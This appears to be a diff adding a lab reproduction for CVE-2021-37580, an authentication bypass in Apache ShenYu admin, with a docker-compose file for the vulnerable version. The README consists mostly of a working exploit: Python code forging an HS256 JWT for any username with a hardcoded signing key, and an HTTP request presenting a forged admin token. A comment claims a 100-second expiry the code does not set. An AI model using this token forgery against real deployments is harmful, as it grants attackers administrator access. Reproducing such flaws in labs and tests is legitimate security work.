CVE-2021-37580

shenyu/CVE-2021-37580/README.md

@@ -0,0 +1,43 @@
+# apache-shenyu-authentication
+# Apache-ShenYu JWT认证缺陷
+
+```php
+def generateToken(username):
+ headers = {
+ "alg": "HS256",
+ "typ": "JWT"
+ }
+ # 设置headers，即加密算法的配置
+ salt = "2095132720951327"
+ # 随机的salt密钥，只有token生成者（同时也是校验者）自己能有，用于校验生成的token是否合法
+ exp = int(time.time())
+ # 设置超时时间：当前时间的100s以后超时
+ payload = {
+ "userName": username,
+ "exp": exp
+ }
+ # 配置主体信息，一般是登录成功的用户之类的，因为jwt的主体信息很容易被解码，所以不要放敏感信息
+ # 当然也可以将敏感信息加密后再放进payload
+
+ token = jwt.encode(payload=payload, key=salt,
+ algorithm='HS256', headers=headers).decode('utf-8')
+ # 生成token
+ # print(token)
+ return token
+
+```
+
+![image](https://user-images.githubusercontent.com/27684409/142589943-5e80b7dd-85e9-4c3a-8198-fa66e74717b7.png)
+
+```php
+
+GET /dashboardUser HTTP/1.1
+Host: 192.168.1.72:9095
+Pragma: no-cache
+Cache-Control: no-cache
+X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3Mzk1NTY2fQ.7V82J9pQFMZuaA9OkLlSa4ylsOwNBRJkzqf2cl_mroE
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
+Accept: */*
+Connection: close
+
+```

shenyu/CVE-2021-37580/docker-compose.yml

@@ -0,0 +1,6 @@
+version: '2'
+services:
+ web:
+ image: apache/shenyu-admin:2.4.0
+ ports:
+ - "8095:9095"